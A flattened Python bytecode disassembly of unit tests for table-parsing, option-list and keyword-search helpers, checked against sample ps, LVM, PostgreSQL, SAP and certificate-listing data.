COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_fixed_table LOAD_GLOBAL FIXED_CONTENT_1B LOAD_METHOD splitlines CALL_METHOD CALL_FUNCTION STORE_FAST data LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'data1' LOAD_CONST 'data 2' LOAD_CONST '' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'data4' LOAD_CONST 'data5' LOAD_CONST 'data6' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'data 7' LOAD_CONST '' LOAD_CONST 'data 9' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_fixed_table LOAD_GLOBAL FIXED_CONTENT_2 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'Column1 ' BUILD_LIST LOAD_CONST ('heading_ignore',) CALL_FUNCTION STORE_FAST data LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'data1' LOAD_CONST 'data 2' LOAD_CONST 'data 3' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'data4' LOAD_CONST 'data5' LOAD_CONST 'data6' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'data 7' LOAD_CONST '' LOAD_CONST 'data 9' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_fixed_table LOAD_GLOBAL FIXED_CONTENT_3 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'Column1 ' BUILD_LIST LOAD_CONST 'Trailing' LOAD_CONST 'Another' BUILD_LIST LOAD_CONST ('heading_ignore', 'trailing_ignore') CALL_FUNCTION STORE_FAST data LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'data1' LOAD_CONST 'data 2' LOAD_CONST 'data 3' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'data4' LOAD_CONST 'data5' LOAD_CONST 'data6' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'data 7' LOAD_CONST '' LOAD_CONST 'data 9' LOAD_CONST ('Column1', 'Column2', 'Column3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_fixed_table LOAD_GLOBAL FIXED_CONTENT_4 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 'Column1 ' BUILD_LIST LOAD_CONST ('Column 2', 'Column_2') LOAD_CONST ('Column 3', 'Column_3') BUILD_LIST LOAD_CONST 'Trailing' LOAD_CONST 'Another' BUILD_LIST LOAD_CONST ('heading_ignore', 'header_substitute', 'trailing_ignore') CALL_FUNCTION STORE_FAST data LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION LOAD_CONST 4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'data1' LOAD_CONST 'data 2' LOAD_CONST 'data 3' LOAD_CONST ('Column1', 'Column_2', 'Column_3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'data4' LOAD_CONST 'data5' LOAD_CONST 'data6' LOAD_CONST ('Column1', 'Column_2', 'Column_3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'data 7' LOAD_CONST '' LOAD_CONST 'data 9' LOAD_CONST ('Column1', 'Column_2', 'Column_3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 3 BINARY_SUBSCR LOAD_CONST 'data10' LOAD_CONST '' LOAD_CONST '' LOAD_CONST ('Column1', 'Column_2', 'Column_3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_fixed_table LOAD_CONST <code object <listcomp> at 0x7fab641f2ae0, file "f.py", line 338> LOAD_CONST 'test_parse_fixed_table.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL FIXED_CONTENT_4 LOAD_METHOD splitlines CALL_METHOD GET_ITER CALL_FUNCTION LOAD_CONST 'fooColumn1 ' BUILD_LIST LOAD_CONST ('fooColumn1', 'Column1') LOAD_CONST ('Column 2', 'Column_2') LOAD_CONST ('Column 3', 'Column_3') BUILD_LIST LOAD_CONST 'foo' BUILD_LIST LOAD_CONST ('heading_ignore', 'header_substitute', 'trailing_ignore') CALL_FUNCTION STORE_FAST data LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION LOAD_CONST 6 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 4 BINARY_SUBSCR LOAD_CONST 'fooTrailing' LOAD_CONST 'non-data li' LOAD_CONST 'ne' LOAD_CONST ('Column1', 'Column_2', 'Column_3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data LOAD_CONST 5 BINARY_SUBSCR LOAD_CONST 'foo Another' LOAD_CONST 'trailing no' LOAD_CONST 'n-data line' LOAD_CONST ('Column1', 'Column_2', 'Column_3') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_fixed_table LOAD_GLOBAL FIXED_CONTENT_DUP_HEADER_PREFIXES LOAD_METHOD splitlines CALL_METHOD CALL_FUNCTION STORE_FAST data LOAD_FAST data LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'default' LOAD_CONST 'foo' LOAD_CONST 'app=superawesome' LOAD_CONST ('NAMESPACE', 'NAME', 'LABELS') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_fixed_table LOAD_GLOBAL FIXED_CONTENT_5 LOAD_METHOD splitlines CALL_METHOD CALL_FUNCTION STORE_FAST data LOAD_GLOBAL len LOAD_FAST data CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST line LOAD_CONST 'foo' LOAD_FAST line BINARY_ADD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ParseException CALL_METHOD SETUP_WITH to 32 STORE_FAST pe LOAD_GLOBAL parse_fixed_table LOAD_GLOBAL FIXED_CONTENT_1B LOAD_METHOD splitlines CALL_METHOD LOAD_CONST True LOAD_CONST ('empty_exception',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST 'Incorrect line:' LOAD_GLOBAL str LOAD_FAST pe LOAD_ATTR value CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL optlist_to_dict LOAD_CONST 'key1,key2=val2,key1=val1,key3' CALL_FUNCTION STORE_FAST d LOAD_GLOBAL sorted LOAD_FAST d LOAD_METHOD keys CALL_METHOD CALL_FUNCTION LOAD_GLOBAL sorted LOAD_CONST 'key1' LOAD_CONST 'key2' LOAD_CONST 'key3' BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key1' BINARY_SUBSCR LOAD_CONST 'val1' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key2' BINARY_SUBSCR LOAD_CONST 'val2' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key3' BINARY_SUBSCR LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL optlist_to_dict LOAD_CONST 'key1,key2=val2,key1=val1,key3' LOAD_CONST None LOAD_CONST ('kv_sep',) CALL_FUNCTION STORE_FAST d LOAD_GLOBAL sorted LOAD_FAST d LOAD_METHOD keys CALL_METHOD CALL_FUNCTION LOAD_GLOBAL sorted LOAD_CONST 'key1' LOAD_CONST 'key1=val1' LOAD_CONST 'key2=val2' LOAD_CONST 'key3' BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key1' BINARY_SUBSCR LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key1=val1' BINARY_SUBSCR LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key2=val2' BINARY_SUBSCR LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key3' BINARY_SUBSCR LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL optlist_to_dict LOAD_CONST 'key1="foo",key2=\'bar\',key3="mismatched quotes\',key4="inner\'quotes"' LOAD_CONST True LOAD_CONST ('strip_quotes',) CALL_FUNCTION STORE_FAST d LOAD_GLOBAL sorted LOAD_FAST d LOAD_METHOD keys CALL_METHOD CALL_FUNCTION LOAD_GLOBAL sorted LOAD_CONST 'key1' LOAD_CONST 'key2' LOAD_CONST 'key3' LOAD_CONST 'key4' BUILD_LIST CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key1' BINARY_SUBSCR LOAD_CONST 'foo' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key2' BINARY_SUBSCR LOAD_CONST 'bar' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key3' BINARY_SUBSCR LOAD_CONST '"mismatched quotes\'' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST d LOAD_CONST 'key4' BINARY_SUBSCR LOAD_CONST "inner'quotes" COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL optlist_to_dict LOAD_CONST 'key1=foo, key2=bar' CALL_FUNCTION STORE_FAST d LOAD_CONST 'key1' LOAD_FAST d COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'key2' LOAD_FAST d COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL parse_delimited_table BUILD_LIST CALL_FUNCTION BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_delimited_table LOAD_GLOBAL PS_AUX_TEST LOAD_METHOD splitlines CALL_METHOD LOAD_CONST 10 LOAD_CONST 'USER' BUILD_LIST LOAD_CONST ('max_splits', 'heading_ignore') CALL_FUNCTION STORE_FAST tbl LOAD_FAST tbl POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST tbl LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST tbl CALL_FUNCTION LOAD_CONST 6 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST tbl LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL dict CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST tbl LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST '0.0' LOAD_CONST '?' LOAD_CONST '19356' LOAD_CONST '1' LOAD_CONST '0.0' LOAD_CONST 'May31' LOAD_CONST '/sbin/init' LOAD_CONST 'root' LOAD_CONST 'Ss' LOAD_CONST '0:01' LOAD_CONST '1544' LOAD_CONST ('%MEM', 'TTY', 'VSZ', 'PID', '%CPU', 'START', 'COMMAND', 'USER', 'STAT', 'TIME', 'RSS') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST tbl LOAD_CONST 5 BINARY_SUBSCR LOAD_CONST 'COMMAND' BINARY_SUBSCR LOAD_CONST '/usr/libexec/qemu-kvm -name rhel7 -S -M rhel6.5.0 -enable-kvm -m 1024 -smp 2,sockets=2,cores=1,threads=1 -uuid 13798ffc-bc1e-d437-4f3f-2e0fa6c923ad' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_delimited_table LOAD_GLOBAL MISSING_DATA_TEST LOAD_METHOD splitlines CALL_METHOD LOAD_CONST '|' LOAD_CONST 'LVM2_PV_FMT' BUILD_LIST LOAD_CONST 'WARNING' LOAD_CONST 'ERROR' LOAD_CONST 'Cannot get lock' BUILD_LIST LOAD_CONST ('delim', 'heading_ignore', 'trailing_ignore') CALL_FUNCTION STORE_FAST tbl LOAD_GLOBAL isinstance LOAD_FAST tbl LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST tbl CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_delimited_table LOAD_GLOBAL SUBSTITUTE_HEADERS_TEST LOAD_METHOD splitlines CALL_METHOD LOAD_CONST ',' LOAD_CONST False LOAD_CONST ('read-only', 'read_only') BUILD_LIST LOAD_CONST ('delim', 'strip', 'header_substitute') CALL_FUNCTION STORE_FAST tbl LOAD_FAST tbl POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST tbl LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST tbl CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST tbl LOAD_CONST 1 BINARY_SUBSCR LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST tbl LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST '10.76.19.184' LOAD_CONST '37500' LOAD_CONST 'ESTAB' LOAD_CONST 'Y' LOAD_CONST ('address', 'port', 'state', 'read_only') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_delimited_table LOAD_GLOBAL POSTGRESQL_LOG LOAD_METHOD splitlines CALL_METHOD LOAD_CONST '|' LOAD_CONST '(' BUILD_LIST LOAD_CONST ('delim', 'trailing_ignore') CALL_FUNCTION STORE_FAST tbl LOAD_GLOBAL isinstance LOAD_FAST tbl LOAD_GLOBAL list CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST tbl CALL_FUNCTION LOAD_CONST 14 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST tbl LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST tbl LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'public' LOAD_CONST 'rhnsnapshotpackage' LOAD_CONST '47428950' LOAD_CONST ('schema', 'table', 'rows') BUILD_CONST_KEY_MAP COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_delimited_table LOAD_GLOBAL TABLE3 LOAD_METHOD splitlines CALL_METHOD LOAD_CONST '^' LOAD_CONST '|' LOAD_CONST ('delim', 'header_delim') CALL_FUNCTION STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL list CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST result CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST result LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'this' LOAD_CONST 'is' LOAD_CONST 'some' LOAD_CONST 'content' LOAD_CONST ('THIS', 'IS', 'A', 'HEADER') BUILD_CONST_KEY_MAP LOAD_CONST 'This' LOAD_CONST 'is' LOAD_CONST 'more' LOAD_CONST 'content' LOAD_CONST ('THIS', 'IS', 'A', 'HEADER') BUILD_CONST_KEY_MAP BUILD_LIST STORE_FAST expected LOAD_FAST expected LOAD_FAST result COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL parse_delimited_table LOAD_GLOBAL TABLE2 LOAD_CONST '|' LOAD_CONST None LOAD_CONST ('delim', 'header_delim') CALL_FUNCTION STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL list CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST result CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST result LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'HA2' LOAD_CONST '16' LOAD_CONST 'D16' LOAD_CONST 'lu0417' LOAD_CONST '749, patch 10, changelist 1698137' LOAD_CONST '/usr/sap/HA2/D16/exe' LOAD_CONST ('SID', 'Nr', 'Instance', 'SAPLOCALHOST', 'Version', 'DIR_EXECUTABLE') BUILD_CONST_KEY_MAP LOAD_CONST 'HA2' LOAD_CONST '22' LOAD_CONST 'D22' LOAD_CONST 'lu0417' LOAD_CONST '749, patch 10, changelist 1698137' LOAD_CONST '/usr/sap/HA2/D22/exe' LOAD_CONST ('SID', 'Nr', 'Instance', 'SAPLOCALHOST', 'Version', 'DIR_EXECUTABLE') BUILD_CONST_KEY_MAP BUILD_LIST STORE_FAST expected LOAD_FAST expected LOAD_FAST result COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL TABLE1 LOAD_METHOD splitlines CALL_METHOD STORE_FAST TABLE1_SP LOAD_GLOBAL parse_delimited_table LOAD_FAST TABLE1_SP LOAD_CONST 'raw_line' LOAD_CONST ('raw_line_key',) CALL_FUNCTION STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL list CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST result CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST result LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL dict CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'raw_line' BINARY_SUBSCR LOAD_FAST TABLE1_SP LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_GLOBAL keyword_search LOAD_GLOBAL DATA_LIST CALL_FUNCTION CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL DATA_LIST LOAD_CONST 4 LOAD_CONST ('cpu_count',) CALL_FUNCTION BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL DATA_LIST LOAD_CONST 8 LOAD_CONST ('memory_gb',) CALL_FUNCTION BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL DATA_LIST LOAD_CONST 'embedded' LOAD_CONST ('role',) CALL_FUNCTION STORE_FAST results LOAD_GLOBAL len LOAD_FAST results CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST results LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL DATA_LIST LOAD_CONST 3 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL DATA_LIST LOAD_CONST 16 LOAD_CONST ('memory_gb',) CALL_FUNCTION STORE_FAST results LOAD_GLOBAL len LOAD_FAST results CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST results LOAD_CONST <code object <listcomp> at 0x7fab641f24b0, file "f.py", line 640> LOAD_CONST 'test_keyword_search.<locals>.<listcomp>' MAKE_FUNCTION LOAD_CONST (0, 2, 4) GET_ITER CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL DATA_LIST LOAD_CONST False LOAD_CONST ('ssd',) CALL_FUNCTION STORE_FAST results LOAD_GLOBAL len LOAD_FAST results CALL_FUNCTION LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST results LOAD_CONST <code object <listcomp> at 0x7fab641f20c0, file "f.py", line 643> LOAD_CONST 'test_keyword_search.<locals>.<listcomp>' MAKE_FUNCTION LOAD_CONST (1, 2, 3) GET_ITER CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_GLOBAL keyword_search BUILD_LIST LOAD_CONST 'server' LOAD_CONST ('role',) CALL_FUNCTION CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL DATA_LIST LOAD_CONST 'e' LOAD_CONST ('role__contains',) CALL_FUNCTION STORE_FAST results LOAD_GLOBAL len LOAD_FAST results CALL_FUNCTION LOAD_CONST 4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST results LOAD_CONST <code object <listcomp> at 0x7fab641f2ed0, file "f.py", line 648> LOAD_CONST 'test_keyword_search.<locals>.<listcomp>' MAKE_FUNCTION LOAD_CONST (0, 1, 2, 3) GET_ITER CALL_FUNCTION COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL DATA_LIST LOAD_CONST 'e' LOAD_CONST ('role__startswith',) CALL_FUNCTION STORE_FAST results LOAD_GLOBAL len LOAD_FAST results CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST results LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL DATA_LIST LOAD_CONST 3 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL CERT_LIST LOAD_CONST '' LOAD_CONST "type=NSSDB,location='/etc/dirsrv/slapd-PKI-IPA'" LOAD_CONST ('pre_save_command', 'key_pair_storage__startswith') CALL_FUNCTION STORE_FAST results LOAD_GLOBAL len LOAD_FAST results CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST results LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL CERT_LIST LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL keyword_search LOAD_GLOBAL CERT_LIST LOAD_CONST 'PKI-IPA' LOAD_CONST ('post_save_command__contains',) CALL_FUNCTION STORE_FAST results LOAD_GLOBAL len LOAD_FAST results CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError 